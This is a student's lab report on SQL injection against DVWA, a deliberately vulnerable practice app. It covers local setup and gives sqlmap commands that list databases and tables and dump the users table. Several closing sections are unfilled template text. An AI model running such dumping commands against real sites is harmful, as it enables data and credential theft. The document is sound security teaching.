**SQL Injection Report on DVWA**

**Table of Contents**

**1. Introduction**

**2. Objective**

**3. Tools and Environment**

**4. Methodology**

**- Setting Up the Environment**

**- Information Gathering**

**- Identifying Vulnerable Parameters**

**- Exploiting SQL Injection**

**- Extracting Data**

**5. Findings**

**6. Recommendations**

**7. Conclusion**

--------------------------------------------------------------------------------------------------------------------------------------

**1. Introduction**

This report documents the process and findings of an SQL Injection attack performed on the Damn Vulnerable Web Application (DVWA). The purpose of this report is to demonstrate the vulnerability and provide recommendations for securing web applications against SQL Injection attacks

**2. Objective**

The objective of this penetration test is to identify and exploit SQL Injection vulnerabilities in DVWA to understand the security posture of the application and recommend necessary security measures.

**3. Tools and Environment**

Tools

-Kali Linux: A Linux distribution designed for digital forensics and penetration testing.

- SQLmap: An open-source penetration testing tool that automates the process of detecting and exploiting SQL Injection flaws.

-Burp Suite: A graphical tool for testing web application security.

- DVWA: Damn Vulnerable Web Application for practicing web vulnerabilities.

Environment

-Operating System: Kali Linux

- Web Application: DVWA installed on a local server

- Database Server: MySQL

**4. Methodology**

4.1 Setting Up the Environment

Install MySQL Server

bash

sudo apt update

sudo apt install mariadb-server

Start MySQL Service

bash

sudo service mysql start

Secure MySQL Installation (Optional)

bash

sudo mysql\_secure\_installation

Log In to MySQL

bash

sudo mysql -u root -p

Create DVWA Database and User

sql

CREATE DATABASE dvwa;

CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON dvwa.\* TO 'dvwa'@'localhost';

FLUSH PRIVILEGES;

EXIT;

Download and Install DVWA

bash

sudo apt install apache2 php php-mysqli git

sudo service apache2 start

cd /var/www/html

sudo git clone https://github.com/digininja/DVWA.git

sudo chown -R www-data:www-data DVWA/

cd DVWA

sudo cp config/config.inc.php.dist config/config.inc.php

sudo nano config/config.inc.php

Update the configuration file (`config.inc.php`) to use the MySQL credentials:

php

$\_DVWA = array();

$\_DVWA[ 'db\_server' ] = 'localhost';

$\_DVWA[ 'db\_database' ] = 'dvwa';

$\_DVWA[ 'db\_user' ] = 'dvwa';

$\_DVWA[ 'db\_password' ] = 'password';

Restart Apache and MySQL Services

bash

sudo service apache2 restart

sudo service mysql restart

**Complete DVWA Setup**

Open a web browser and navigate to `http://localhost/DVWA/setup.php` to complete the setup.

4.2 Information Gathering

Using tools like Burp Suite to intercept and analyze HTTP requests and responses to identify potential SQL Injection points.

4.3 Identifying Vulnerable Parameters

Navigate to the SQL Injection section of DVWA and test for vulnerabilities.

4.4 Exploiting SQL Injection

Using SQLmap to automate the process of exploiting the identified SQL Injection vulnerability.

Command to Identify Databases

bash

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=<session\_id>" --dbs

Command to List Tables

bash

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=<session\_id>" -D dvwa --tables

Command to Dump Data

bash

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=<session\_id>" -D dvwa -T users --dump

**5. Findings**

Summarize the findings, including the types of data extracted and the severity of the vulnerabilities.

Example:

- Vulnerable Parameter: `id` in `http://localhost/DVWA/vulnerabilities/sqli/?id=`

- Data Extracted: Usernames, passwords, etc.

-Severit: High

**6. Recommendations**

Provide recommendations for securing the website against SQL Injection attacks.

Example Recommendations:

- Implement prepared statements and parameterized queries.

- Use stored procedures.

- Validate and sanitize all user inputs.

- Employ a web application firewall (WAF).

- Regularly update and patch the web application and database.

**7. Conclusion**

Conclude the report by summarizing the importance of securing web applications against SQL Injection attacks and the steps taken to identify and exploit the vulnerabilities in DVWA.

--------------------------------------------------------------------------------------------------------------------------------------

Designed by,

M KEERTHI VARDHAN

APOLLO UNIVERSITY